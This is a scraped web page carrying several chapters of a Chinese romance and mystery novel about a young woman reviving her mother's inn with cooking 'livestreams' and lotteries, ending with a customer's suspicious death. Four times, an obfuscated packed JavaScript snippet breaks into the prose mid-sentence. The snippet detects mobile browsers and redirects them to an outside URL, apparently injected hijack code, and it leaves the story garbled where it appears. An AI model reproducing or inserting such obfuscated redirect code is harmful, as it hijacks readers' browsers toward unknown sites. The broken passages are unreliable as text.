黎映真见状冷笑,一步跨出门开,拂开衣裙上的褶子,在围观的各色目光下依旧昂首挺胸,面不改色。 “我客来居打开门做生意,欢迎街坊邻居们惠顾。本店重启开业,一来保留原有食品和住宿特色,二来也是为给乡里乡亲们提供更好的服务才推陈出新。 “开业三日内最低只要十文便有机会参与抽奖,我作为客栈掌柜,向各位保证,现场制作并送出的菜品绝对物有所值。” “姑娘家抛头露面像什么样子。” “黎家在县里的面子真是被个疯丫头败光了。” 那几个总在贬低黎映真的妇人恶狠狠地瞪了她一眼。 更有甚者,当众连呸了好几声,足见挑衅与满满的恶意。 黎映真待有回应,身后却走出来一道身影。 “黎小姐……哦不,黎掌柜。”李弦提着打包好的招牌菜在黎映真面前晃了晃,“鲤鱼烩面的味道不错,这份我带回去给县令尝尝。” 李弦施救猝不及防,好在黎映真心思也快,立即陪笑道:“还是曾经的老厨头孙伯掌勺,必然是原汁原味。县令若喜欢,以后怕就要麻烦李捕快常来跑腿了。” 二人这一唱一和看来关系融洽,看得周围人又开始窃窃私语。 “对了。”才提步要走,李弦抬起另一只手,手中正是黎映真给他的那块刻了数字的木牌。 他向前,走到人群面前,道:“各位乡亲看清楚了,我这是四号,前头还排了三号,正是今日参加客来居这直播抽奖的。 “烦请稍后进店也参与的,替我看着结果,若是真抽中了我,麻烦给我报个信儿。” 李弦说完便走,黎映真见围观的议论声比方才多了一些,她抓紧机会继续招徕食客。 此时一位陌生婶子从人群中走出来,黎映真认得,就是街对面那个茶摊老板的媳妇。 “赵婶子进来看看,不花钱坐坐也行,若是花上十文,等会儿可以参加抽奖,若抽中了,还能带回去给家里加菜呢。”黎映真热情上前,“你看赵叔一天天开着茶铺也辛苦,万一运气好,中了奖,便当犒劳他。我保证,十文最低消费也是吃好的,中了奖肯定更比十文值。” 赵婶原本就是听了话,拿着李弦给的铜板来“玩”的,又见李弦方大摇大摆地离开,她便没多少顾虑了,道:“既然李捕快都来你这吃,我也试试吧。” 黎映真赶忙将人迎了进去。 吴二等人跟着出来迎客,又陆陆续续多了几位食客,也算是给客栈添了点人气。 眼见“直播”即将开始,黎映真再去后厨看看孙伯的情况。 以往在后厨游刃有余的老厨头,如今因为要上台当众表演而有些促狭,穿着一身特意洗干净的衣裳,在灶台前来回踱着步。 “孙伯,别紧张。”黎映真上前,将他歪了的粗布围裙扯正,道,“就是换个地方做菜,你就当是前两天我们看你在台上练习一样。今儿,我们也都在。” 孙伯黝黑的脸上泛出红意,摇头道:“还是不一样,你们都是熟人,外头的客人可不一样。我怕给客栈丢脸。” “都是街里街坊,你只管埋头做。”见吴二在外头打招呼,她知是时间到了,于是一面拉着孙伯一面往外头去,“你放心,等会儿我就坐在下头,你不放心就看看我。” 这样连声哄着,黎映真才总算将孙伯哄上了台,而她依言坐在台下,一来让孙伯安心,二来也有助于观察食客们的反应,方便后续做出调整。 直播间首秀的流程都提前排练过,吴二主持串场,孙伯下第一刀。 原本一切按部就班,直到孙伯拿起刀要对砧板上的豆腐下手,才有些异常。 孙伯迟迟不动,本等着看表演的食客们有些已伸长了脖子往台上看,有些则直接说出了不满。 “老孙头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937297|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是怎么了?下刀啊。” “还能不能表演了?” “再不动,退钱吧。” 看得出孙伯还是紧张,可黎映真此时不便上台,她干脆直接站起身。 之前好几次动员会议,她都是用鼓掌给大家鼓励,于是这次,在孙伯投来的目光中,她又一次拍起了手。 没有特意发出很大的声响,只是这个动作,已成为客栈中人都明白的暗示。 大堂里的质疑声越来越大,眼见有人已经等不下去站起身,孙伯深吸一口,声如洪钟道:“看好了!” 他左手虚按着豆腐,右手执刀,刀刃先贴着豆腐划了一个来回,这才落刀。 刀刃落在砧板上,声音不大但快速且节奏均匀,听的近在台下的食客不由上前,想要看一看那豆腐被切成了什么模样。 不等台前多围几人,孙伯手腕一翻,刀背连底抄起豆腐,放进一旁盛满水的盆里。 吴二上前捧起水盆给台前的食客观看,只见那豆腐丝切得根根匀称,在水中舒展,像花儿一样绽开。 “孙师傅这刀工了得。” “看不出这客栈里藏了高手。” 食客们赞叹之际,孙伯渐入佳境,又取来一块里脊。 这回听不得多少声响,但他落刀的速度依旧快,边切边将肉片摆盘,一会儿的功夫便铺满了一个空置的磁盘。 又是吴二端着盘子给众人展示。 那肉片切得薄如蝉翼,竟能隐约瞧见盘底的花纹。 逐渐热烈的议论声后,大堂里爆发出阵阵掌声。 黎映真早已让出台前的位置,看着这会儿连眼角的皱纹都盛满了笑意的孙伯,终于松了口气。 台上的孙伯继续表演,吴二在一旁解说,见食客们如今都仔细看着、认真听着,便按照计划宣布道:“本店首日营业,为感谢各位惠顾,本店掌柜决定额外增加两个中奖名额,明日新增一个。三日内入住本店者,可减免两成钱款。 “本店诚信经营,各位乡亲、客人若有意,明日请继续惠顾,带上街坊、朋友的,可减免一成茶水钱。今日来的,减免两成,稍后逐一退还。” 阿桃此时带着一只竹篮上台,吴二又接了一段串词,最后请黎映真上来抽奖。 “感谢大家支持客栈,今日的第一位幸运食客,不光可以获得孙伯现场制作的菜品,一个月内若第二次光顾客栈,可减免五成茶水费。” 言毕,黎映真向众人鞠躬,在众人瞩目下,伸手在竹篮中轻轻搅动。 台下食客皆翘首以盼。 原本还热闹的大堂,这会儿只剩下孙伯做菜的动静。 在浅浅一层叠好的纸片中,黎映真抽出一张纸。 她有意放慢速度,让所有人等着,盯着。 “快,快看看是几号?” “掌柜的别卖关子,快打开。” 面前的催促声不断,黎映真脑海中跟着蹦出一个声音:“直播间热度值:5。” 虽然还没摸清楚增加热度值的具体机制,但有上升对黎映真而言就是好事。 她暗暗松了口气,又听见台下传来的催促。 于是她有板有眼地打开叠好的纸片。 5. 第 5 章 黎映真给的让利不少,莫说是台下参与抽奖的食客,就连阿桃和吴二都紧紧盯着黎映真手中那张纸条,想要知道谁是第一个幸运儿。 看过纸上写的号码后,黎映真会心一笑,特意清了清嗓子才念道:“五号。” 被挤在高台角落的赵婶子一脸惊愕。 黎映真高举手中的纸,又喊了一遍:“五号是哪一位?” “我。”赵婶子快步走上台,将号码牌交给黎映真,“是我,我是五号。” 黎映真举起木牌展示号码无误,又递给赵婶子另一个木雕的小物件:“这是一个月内来可以减免茶水钱的凭证。只要在约定的期限内,客栈的减免都是可以叠加的。” 有了第一个打样,黎映真再进行抽奖时,气氛越发热烈。 相继抽出剩下的幸运号码,食客们各自欢喜。 但走下台的黎映真还是不免发愁—— 现在的营业情况其实不算理想,为了吸引食客,她甚至还在往这种饥饿营销里贴钱。 还是需要做好后手准备。 有了第一波客人的口碑,再加上客栈众人依旧卖力宣传,只能算是相对顺利度过了头一天。 临近傍晚,青果巷一处不起眼的小院外,黎映真提着一只食盒叩响了主人家的门。 然而几声落下,并没有等到开门人,反倒是隔壁的老人家闻声出来。 “老人家,请问可知李弦李捕快去了哪儿?”黎映真边说边指着身边紧闭的木门。 老者摇头道:“他这阵子忙进忙出,几乎都要天黑才回来,有时根本不见人。” 说着,老人家抬头看了看时辰,继续摇头道:“小娘子还是改日再来吧。” “嘭”的一声,老人家匆忙关了门,像是对她避之不及。 黎映真憋嘴,看了眼手里的食盒,转身便要回客栈。 然而还没到巷口,斜织的金色余晖中缓缓走来一道熟悉的身影。 不是李弦又是谁。 看他低头又锁着眉头的样子,黎映真实难将其与之前的印象联系在一起。 李弦若有所思地往家里走,只感觉身前有个人影,头都没抬,横跨一步让道。 谁想那人跟过来,还挡在自己跟前。 “你……”他定睛去看,才见是黎映真。 也许是这一天事多,忙得她发髻有些散了,额前鬓角的碎发也没整理,着实有些潦草。 但比起当初见她穿着嫁衣反而一身狼狈的模样,这会儿整个人都看来精神焕发。 眉尾一挑,李弦抱臂,好整以暇地低头看着黎映真,又见她手里提着食盒,调侃道:“真是抽到我了?” “我现场抽三个都没你,你这运气不行。”黎映真将食盒塞到李弦怀里,“吴二说你当时点了鲤鱼烩面但没吃就走了,我给你补一份。” 李弦不客气,凑近食盒闻了闻:“是香,不怪县令总想着。” 两人站在墙根,被投下了点墙影笼着,加上这个时候天光本就暗,便都有些看不真切彼此的神情。 “我听赵婶子说了,她去客栈的钱,是你给的。” “我偶尔在赵叔茶摊赊账,那钱其实是还他的。还是他的。” “你真……”剩下话被堵在舌尖,黎映真知道还是要感谢李弦的好意,但这人脸皮厚,等将来再还他些人情,两清了,不来往就好。 “还有事?”李弦朝巷子里自己家的方向看了看,“来都来了,进去坐会儿?” “客栈要忙的事还多呢,我先走了。”说完,黎映真转身就走。 但没走几步,她忽然跑回来,朝李弦躬身致谢:“总之,多谢李捕快相助。” 没等李弦回应,她又跑开,这一溜烟便真正消失在人群中。 客来居营业第二天,黎映真被来开门的吴二吵醒。 睡眼惺忪地看着拆门板的吴二,算了大半个晚上账的黎映真极其缓慢地回笼着神志。 反而是吴二,根本没注意趴在柜台上睡着的黎映真,乍听见动静,吓得险些丢下门板夺门而逃。 看清了是自家掌柜,吴二长舒一口气,埋怨道:“掌柜的,你但凡出点声儿,让我知道有人在。” 再看了一眼亏损颇大的账面,黎映真勉强打起精神,合上账本,去帮吴二一块儿拆门板,道:“下次我会注意。对了,等会儿我还要带着阿桃他们去把剩下的宣传单发了,客栈暂时辛苦你们了。” “没问题,不过掌柜你可得早点回来,让我跑堂报报菜名行,真要有点事儿,我可处理不来。”吴二道。 稍后,晨间客栈没什么生意,黎映真这才得空跟阿桃他们出去继续招徕食客。 回客栈的时候临近中午,又该到直播间表演的时间了。 刚要进门,黎映真瞧见个眼熟的货郎。 猜想是回头客,她立即笑脸相迎,道:“这位大叔,昨天是在我们这儿中了改良文思豆腐的那位吧?” “正是正是。”货郎朝大堂里张望,“今儿还有直播?还抽奖吗?” “我们直播和抽奖持续三天呢。”注意到货郎身后还有两个陌生面孔,黎映真更是热情,忙将三人让进客栈,“大叔你是第一个带了朋友过来的回客,今天这桌的茶水钱我私下给你减三成。” “还有这好事?”后头的另一位货郎惊奇道。 “不止呢。”黎映真介绍道,“我们直播间抽奖是以人头算的,三位各花销十文便都有机会参加。今天开业第二日,我们有两个中奖名额呢。要不要试试运气?昨日这位大叔就是我的招牌。” “那好,我们试试。” 黎映真担心孙伯,喊来阿桃招呼,自己正要去后厨。 阿桃正在门口迎宾,回道:“掌柜的,等会儿。” 黎映真只得继续亲自招待,收了钱,记了账,又听其中一位货郎道:“你们这客栈还要掌柜的亲自做这些?” “就是个称呼,我跟他们一样都是为客人们服务的。”说完,黎映真跑回柜台,拿了号码牌给三人送去。 陆陆续续有客人进客栈,真临近直播开始,大堂里坐了有五六成的客人。 虽不见得生意火爆,但总是个好势头。 待孙伯走上高台“直播间”,黎映真便将“本场号满”的牌子挂去了客栈外。 “哟,这破地方倒是热闹起来了。” 满是嘲讽的话语被隔绝在热烈的鼓掌声外。 黎映真回头去看,见是个锦缎长衫的年轻公子正站在几步开外的地方,身后还带着两个家丁。 是黎文远。 走至黎映真身前,黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937298|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文远朝大堂里扫了一眼,语气尖酸道:“我还以为能有你娘当年在的热闹呢,没想到靠耍些旁门左道,也没让这客栈多辉煌。 “你花了多少请这些人来撑场面作戏?家里带出来的银子快见底了吧?” 黎映真面不改色,嘴角扯出一抹讥讽笑容,反问道:“昨日请那几个在我门口嚼舌根的花了你多少银子?” “胡说八道什么?少血口喷人。”黎文远脸色骤变,眸光尖锐,恨不能在黎映真身上扎出几个窟窿来。 “是不是胡说八道,请衙门的人抓起来问一问不就知道了?” “你……” 眼见黎文远生了怒意,眼底发红,黎映真更瞧不起这连张嘴皮子都不利索的废物。 又想起自己先前在黎世昌和郑氏那儿受的委屈,她便要来个父债子偿。 “我什么?我娘好好的客栈落到你手里,才多久的功夫就要关停歇业,还想抵出去换钱。你连一间客栈都经营不好,还想接手黎家的生意?你也配? “再有你拿着家里给的钱都在外头做什么?怎么还落到靠要卖姐姐从张家讨聘礼的地步?你扪心自问除了是个带把儿的,还有什么是值得你骄傲的?” 黎映真故意摇头,满脸嫌弃地打量着黎文远,又补了一句:“像你这样没本事的男人确实没什么拿得出手的,连找人砸场子都砸不明白。” 黎映真话糙,直教黎文远身后那两个家丁都有些红了脸。 偏偏她字字戳在黎文远痛处,一串连珠炮下来,已是将他气得脸红脖子粗,目露凶光。 恰此时,孙伯在台上颠勺颠得精彩,赢得满场掌声。 像极了是在为黎映真所言鼓掌。 “找死!”黎文远咬牙切齿,冲身后家丁怒道,“还愣着做什么?” 家丁才要上前,吴二猛地冲出来,张开双臂将黎映真护在身后,瞪着那三个不速之客,道:“怎么还动手打人?有没有王法?” 孙伯此时发现门口异常,立即停下手中的动作,喊道:“外头的在干什么?” 顷刻间,所有食客都将视线转向客栈门外。 黎文远到底看重面子,亦不敢在众目睽睽下动手,便咬牙撂了狠话,道:“你别得意,整个成安县都知道你是个大闹自己喜堂的疯子,谁会想跟一个疯子打交道?你这客栈迟早得黄。” 说罢,便扬长而去。 系统音又莫名其妙地蹦了出来:“直播间热度值:15。搭档比起上次统计,这次热度值直接翻了两倍,继续加油。” 黎映真忽然意识到,这直播间该不会披了一层盘活客栈之名的皮,其实走狗血宅斗的主线设定吧? 当下大堂里几十双眼睛看着,黎映真来不及纠结这个问题,先行安抚了众人,让直播继续。 而她则躲去了后院,试图连接系统——依旧失败。 “破系统!” 被黎文远一闹,黎映真本就心情欠佳,又连不上系统,心底那股气便更憋得慌,就连这会儿从大堂传来的食客们的掌声与欢呼声,都听得她心烦意乱。 而此刻,又有一件事涌上她心头——今日虽过了嘴瘾,但她在明,黎文远在暗,客栈还没打下足够稳固的根基,得想办法防着点儿。 一个熟悉的身影顿时浮现在黎映真脑海中…… 6. 第 6 章 有了这桩心事,黎映真便总容易走神。 无奈客栈开业初期杂事多,她顾不上立刻去找李弦。 而那原先时不时就会在自己跟前露脸的捕快也跟人间蒸发了似的,有些日子没出现过了。 这日打了烊,黎映真正算账。 账面的流水有了些起色,但时间不长,前期的投入成本还没完全收回来,愁得她不知不觉皱起了眉头。 “哎……” “哎……” 两声几乎重叠的叹息引起了黎映真的注意。 她抬头,见是周嫂愁刚和吴二一起收拾完大堂,愁眉苦脸地准备往后院离开客栈。 “周嫂。”黎映真叫住人,放下笔,从柜台后头绕出来。 招呼了吴二先走,她才放轻了声音问道:“周嫂,你怎么了?是出事了?” “没事。掌柜的,我没事。”周嫂说着就要往外头走。 黎映真一把将人拉住,周嫂虽还在嘴硬,但也没太逆着她的意思,两个人这就搬了凳子坐在一块儿,就像那日黎映真刚来客栈时一样。 为了省些灯油钱,大堂里好些灯烛都灭了,黎映真拿了柜台上的蜡烛过来。 烛光凑近了,她才发现周嫂的右眼眼角有不太明显的淤青,想是做了一天的工,脸上用来遮盖的胭脂都化了才,这淤青才明显些。 “你这眼角怎么回事?”坐在周嫂身边,黎映真疑惑又有些担心。 抹了溢在眼角的泪,周嫂垂眼又犹豫了一阵,再开口时声音都是闷闷的:“就是我那家里的小祖宗不听话,都是家事。” 此言一出,黎映真就大约猜到了缘由,该是周嫂家那好赌成性的儿子又惹麻烦了。 她拉住周嫂的手,柔声道:“家事要紧,但自己的身子更要紧。你去看过大夫了吗?” “没什么事,不用去瞧大夫……” 话才说了一半,关着的客栈门就被人用力地拍响。 黎映真去开门,迎面就是个面色凶恶的少年,眉眼跟周嫂颇为相像。 正是周嫂口中那个小祖宗,周坚。 “我娘呢?”周坚一把推开就往客栈里走,见了周嫂更是没好气,骂道,“大晚上不回家躲这儿有屁用?钱呢?” 周嫂显然不想家丑外扬,低眉顺眼哄着周坚道:“有事咱们回家说。” “我人都来了,直接给钱就行。” “钱都已经给你了,我哪里还有?” “没钱?没钱你不会去赚?整天在外头……”周坚忽然扫了周围一眼,流里流气地转身问一旁的黎映真道,“把你们掌柜的叫来,我有事跟他说。” 黎映真有意彻底将门板打开,吹着灌进客栈的凉风,沉着脸道:“我就是掌柜的。” “你?”周坚笑了一声,满是轻蔑之意,“我娘在这做工总有工钱吧?我要预支她半年的工钱。” 黎映真朝外头看了看,临近二更,再过一会儿就该有打更的过来了。 “跟你说话呢。”周坚扬声,“赶紧给钱,要不……” 他往后头的桌上一坐,抬了条腿踩上桌面。 周嫂忙上去劝道:“你快下来,回家,等回家了我给你钱。” “你有个屁钱,能比她有钱?”周坚瞥了黎映真一眼。 话音才落,一个黑影突然飞了过来,周坚即刻从桌子上跳下。 黎映真拿着闩门的长木栓,瞪着周坚骂道:“夜里到处飘的死鬼都没你这模样遭人烦。我这儿不是给你耍横的,识相的给你娘道歉,有多远滚多远,不然你姑奶奶我下手就不管是人是鬼了。” 周坚哪里会怕黎映真一个看着文弱的姑娘,反倒是周嫂先上来劝道:“掌柜的,别,真出了事,万一闹上衙门……” “闹上衙门才好呢。” 周坚的暴脾气被黎映真一点就着,当下趁着她跟周嫂说话的空档扑上来想要偷袭。 黎映真反应不够快但总有家伙在手里,那木栓不轻,没真打在周坚要害,但实打实拍在他身上的分量也不容忽视。 一声惨叫彻底打破了原本宁静的秋夜。 周坚捂着发疼的肩膀,恶狠狠地盯着黎映真。 说一点都不怕是假,可恶人当前,黎映真也不想退,抓紧了手中的木栓,虚张声势道:“看什么看,我跟衙门的李捕快很熟,你再捣乱,我就让他好好查你,查到你那些债主身上,惹一身骚,看看最后谁吃不了兜着走!” 周坚身后不清白,听有黎映真扯了衙门的人出来,瞬间失了底气,但仍咽不下这口气,于是放了狠话道:“走着瞧。” 悻悻转身,周坚正要离开客栈,不妨撞了个人。 “李捕快!”黎映真惊喜道。 恰是外头响起打更人敲梆子的声音和口诀:“谨守律法,各保身家,严禁盗赌,有犯连坐。” 她跟周嫂一块迎上去,只是她要跟李弦说话,周嫂自然是去关心周坚的。 “怎回事?” 李弦虽未着官服,也笑吟吟的像是来看热闹,但这话一问出口,方才还气势汹汹的周坚已蔫得跟鹌鹑似的不敢吭声了。 “我留周嫂帮着打扫打扫,弄得晚了些,她儿子担心,来寻人了。”黎映真道。 棒子声正经过敞开大门的客栈,“严禁盗赌”的声音给李弦衙门捕快的身份做了底色,直教周坚怵得头都不敢抬。 李弦抱臂,视线在三人之间逡巡,问的却是周坚,道:“当真?” “当真当真。”答的是周嫂,十分急切。 李弦没做声,只由着打更的复述着口诀,敲着梆子渐渐走远。 夜里静得很,那声音一遍一遍地重复着,不到消失便似乎都能听清楚。 严禁盗赌。 直到真的听不见打更的声音,李弦才对黎映真道:“黎掌柜这是连夜间的生意也做得风生水起。” 暗道这人惯会阴阳怪气,黎映真暂不做声,待周嫂母子走了,她才学着李弦的模样,抱臂靠着另一边的门框,道:“李捕快不也是夜里办差办得有滋有味?” 视线投向夜色中,黎映真想起周嫂和周坚离开的身影,不由担心起来。 又见李弦要走,她忙拉住,只是身手不快,堪堪抓住了那人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937299|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖角。 “怎么还动手?”李弦任由黎映真拉着,笑吟吟的。 黎映真想起这几日的心事,再有今晚这一出闹剧,迟疑片刻,给李弦让出了进门的位置。 李弦却是又靠回门框,仰头看着终于从云后头露了面的月亮,道:“进去了我就是客,黎掌柜这会儿得亲自给我倒茶递水吧?” 嘴角一撇,想是自己有求于人,黎映真忍了这人的揶揄,走上前道:“是有事请李捕快帮忙,不然还是进来坐下说?” “衙门里就我一个姓李的捕快。” “嗯?” “你方才怎么跟周坚说来着?” 那是黎映真情急之下说来唬周坚的,居然被李弦听见了。 这人真是恰好路过? 察觉面前的身影凑近过来,黎映真已来不及躲开,也不想再李弦跟前露怯,遂强忍着站在原处,去看他盛着笑意的双眼。 这眼里,写满了“不怀好意”四个字。 “既然你我熟得很,黎掌柜开间房让我且歇一晚,如何?” “你想白住?” “还带明日早膳。” “你!” “这儿离衙门近,明早我还能多睡一会儿。”说着话,李弦打着哈欠往客栈里走,又假模假样问道,“方才说有什么忙要帮来着?” 看这人不正经的样子,黎映真便暂且收了与他说话的心思,重重关上门,闩上门闩,抄起桌上的烛台给李弦引路。 客栈开业几日,食客有增,但还没有住客。 李弦算是第一个。 “没什么。”黎映真引着李弦往后头的客房去,“李捕快办差辛苦,还是等你休息好了再说吧。” 言毕,她听见身后传来李弦一声轻笑,懒得再接话遂不出做声。 因客栈还要抢做一波早市的生意,因此天蒙蒙亮时,黎映真就先起来准备,等吴二、阿桃和后厨的师傅们来了,就能直接开市。 早市的时候才能多迎一些周边村县过来的客人,大堂里算不得热闹,但总有进进出出的人影,也就看着生意尚可的样子。 黎映真刚送走一桌客人,见李弦优哉游哉地出来,那一身甲胄官服很是惹眼。 有人立即认出了李弦,道:“李捕快?” “老张,早啊。”李弦打着招呼就跟老张坐到了一桌。 黎映真让阿桃去后厨拿白粥和佐菜,自己亲自送了过去,听见李弦正跟老张说什么在客栈住宿送第二日早膳。 老张闻言惊道:“还有这种好事?” 李弦点头,端起白粥喝了起来。 黎映真看着他另有深意的笑眼,灵机一动,接道:“客栈开业期确实如此,不过昨日是最后一天活动。” 说话间,她在桌下暗暗踩了李弦一脚,面上依旧笑嘻嘻地说道:“不过我们客栈有会员制,可以凭积分兑换在客栈的餐膳,张老板有没有兴趣了解一下?” 脸上笑容越灿烂,黎映真心里对李弦便越嫌弃,她这脑子但凡转得慢一点,都可能着了李弦的道。 哪怕,他似乎带了些好意呢。 7. 第 7 章 老张是隔壁村的走货商,每个月往返两地一次倒卖一些货物,住宿便是需要解决的一件大事。 而黎映真恰好需要一个推广客栈住宿服务的机会。 借了李弦的东风,黎映真跟老张攀谈了几句,大约摸清楚了他们这些走货郎的习惯,心里已在盘算如何制定计划。 谈话临近尾声,“夺”的一声响起,正是李弦放下手里的碗,起身准备走了。 黎映真这会儿识趣,众目睽睽之下,跟在李弦后头,将人送到门口。 “昨晚要说什么来着?” “说来话长,李捕快今儿当的什么值?你那间房,我再给你留着?” 这人看着不靠谱还招人嫌,可相识没几天,大忙小忙的都有他在场帮着想办法。 黎映真没想自己打脸打得这样快,只能安慰自己是人在屋檐下不得不低头。 李弦看着街上渐多的赶早市的百姓,微侧了头,迁就身边的黎映真道:“让我白吃白喝?” 黎映真这人顺竿子耍赖的本事算一绝,这种厚脸皮的话说着也毫无愧色,反而因他一直看着自己,竟然看来显得有几分认真。 而她接下去的动作也是认真的。 只是李弦到底身手矫健,眼角瞥见黎映真抬了腿,他向前一跳连带着歪了身子,轻巧躲过了他的偷袭。 黎映真半倚门边,抬起的手臂抵着门框,又气又好笑道:“我这沾了不干净的东西,李捕快愿不愿意帮忙多看两眼?” 李弦随手拂去了衣上的褶子,抬头看了一眼那块朴素的写了“客来居”牌匾,嘴角扯高了些,转头就走了。 黎映真抬出身子去看,只得了个晨光中还算潇洒的背影,跟身上那袭甲胄的气质不太相衬。 她忍不住喊道:“今儿有直播,来不来抽奖?” 也不知李弦听没听见,黎映真转眼便接了一位食客招待。 午间,美食直播间开启,食客坐了七八成,算是对前期的宣传有了正向反馈。 台上孙伯正卖力表演,台下的食客们看得津津有味,喝彩不断。 柜台里,黎映真趴在账本上“睡”得沉。 “搭档,直播间热度值稳步上升,目前峰值是30,出现在……你早上踹李弦那一脚的时候。” “我现在开始怀疑你到底是不是正经经营求生系统。” “盘活客栈肯定是首要任务,但观众口味不一,这也是我不能保证的。” “说吧,这会儿出现有什么目的?” “嘻嘻,就是提醒一下搭档再努努力,热度值达到50,我就能得到更新包。” “我的好处呢?” “这个……当然是距离目标任务又进一步。” 系统装疯卖傻的样子让黎映真窝火,但当她准备继续探些虚实,尖锐的金属音又一次响起。 客栈里嘈杂的吵闹声如潮水一样融向黎映真耳畔,哄闹着将她本就因为被打断和系统沟通而恼火的心情推向下一个高点。 但杂乱的动静里,有一个声音抓住了她的耳朵。 “死人了!” 蹭地站起身,黎映真从穿过正往外头跑的人流,站在直播间台前,看见一个倒在地上的陌生人。 “掌柜的,这怎么办?”吴二已慌了神,平日风风火火的小伙子这会儿连说话都有些打颤。 眼看客人们都跑了出去,黎映真道:“吴二,你立刻去通知官府,阿桃,去把后院门关了,客栈里的人等捕快来了,问完话才能离开。其他人都不要随意走动,都去后院集合等着。” 众人听从安排分头行动,只有黎映真还留在现场。 眼前这倾倒歪斜的桌椅,溅落满地的菜肴,还有一具已经没有呼吸且死状略显诡异的尸体,一切都出现得太突然。 也太诡异。 虽然不想破坏案发现场,可内心的不安让她没办法只是安静地等待捕快到来。 她从柜台的抽屉里取来银针,做了几次深呼吸才鼓起勇气靠近地上那具尸体。 尸体的眼睑、口唇水肿明显,呈现樱桃红色的面部和唇周。 “中毒?” 可观察死者的死状,再回想还能记起的一些常识,眼前的尸体并不符合中毒的迹象。 注意到死者身边又打碎了几盘菜,黎映真拿银针一一试过。 银针没变色。 “不是中毒难道是意外?” 客栈外叽叽喳喳的人声接连不断地传来,听黎映真心烦意乱。 视线扫过一旁通向后院的小门,她发现阿桃正站在那儿。 “阿桃。”黎映真快步到阿桃跟前,看着瑟瑟发抖的小帮工,关心问道,“怎么不在后头等着?这儿……空气不好,待着难受。” 阿桃有意背对着尸体的方向,颤着声道:“掌柜的,我们不会有事吧?” 不等黎映真回答,原本关着的大门忽然被撞开。 太过强烈的阳光一下子涌进来,亮得黎映真赶忙闭上眼。 同时,她的双手被反钳在身后。 “我是客栈老板!也是受害者!”她喊道。 喊声被淹没在混杂着脚步声和金属碰击声的杂音中,黎映真此时才知是一队穿着衙门甲胄的捕快冲入了客栈大堂,将命案现场团团围了起来。 钳制自己的那只手因她下意识的反抗而加重了力道,同时有另一只手按着她的后颈,迫使她弯腰低头。 本就是弱女子,黎映真拗不过这些人高马大的捕快,不得不顺势低下头,减轻疼痛。 伴着自头顶传来的声音,一双皂靴出现在视线中。 “咱们是来办差,不是来伤人的。” 声似金玉,隐含笑意,这口吻不像是来办差,更像是来吃酒寻乐的。 这声一听就是李弦。 不知为何,黎映真竟觉得心头悬着的那块大石头落下了一半。 可那具尸体还躺在众人面前,这么多双眼睛看着,总不能她说这人命官司和客栈无关就能撇得一干二净。 视线在尸体和周围的菜肴残渣上逡巡,黎映真飞速在脑海中搜寻可能遗漏的细节,寻找突破口。 李弦眉峰一挑,原本钳制黎映真的副手随即松开。 黎映找到方才落在地上的银针,正要拿给李弦看,又见前去查看尸体的副手也拿着一根未变色的银针过来。 察觉到李弦投向自己的视线,她将手中的银针递上。 比对过两根银针后,李弦却道:“不见得一定要变黑了才证明有毒。” 他仍是那副漫不经心的样子,黎映真却觉得他好似换了个人。 也或许是事关人命,她太过紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937300|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张所致。 “李捕快,说话要负责。”黎映真有些恼了,也就顾不得自己已是重要嫌疑人的身份,义正言辞质问道,“我老老实实做生意,若下毒的名声传出去,我这客栈以后还怎么开?” “现在谈以后,想的有些远了。” 李弦身形高大,此时迫近过来,身影几乎完全将黎映真笼住,还伴着腰间佩刀轻击的声响。 她只觉得颈间凉飕飕的,似是那刀正架在自己脖子上,随着李弦逼近的脚步,一点点切开颈上的皮肉。 幻觉中的痛楚令她渐渐开始凝神,屏住呼吸,像是蛰伏在猎人埋伏下的猎物,试图找到一个逃脱的机会。 退到另一张桌边时,黎映真一下撞上了桌角,被钝痛袭击神志的刹那,她听见李弦笃定道:“那条鱼还有问题。” 说的正是尸体旁那道已被摔碎的客栈招牌菜“鲤鱼烩面”,当下地上都是些碎鱼肉。 “不是用银针试过了?没毒。” 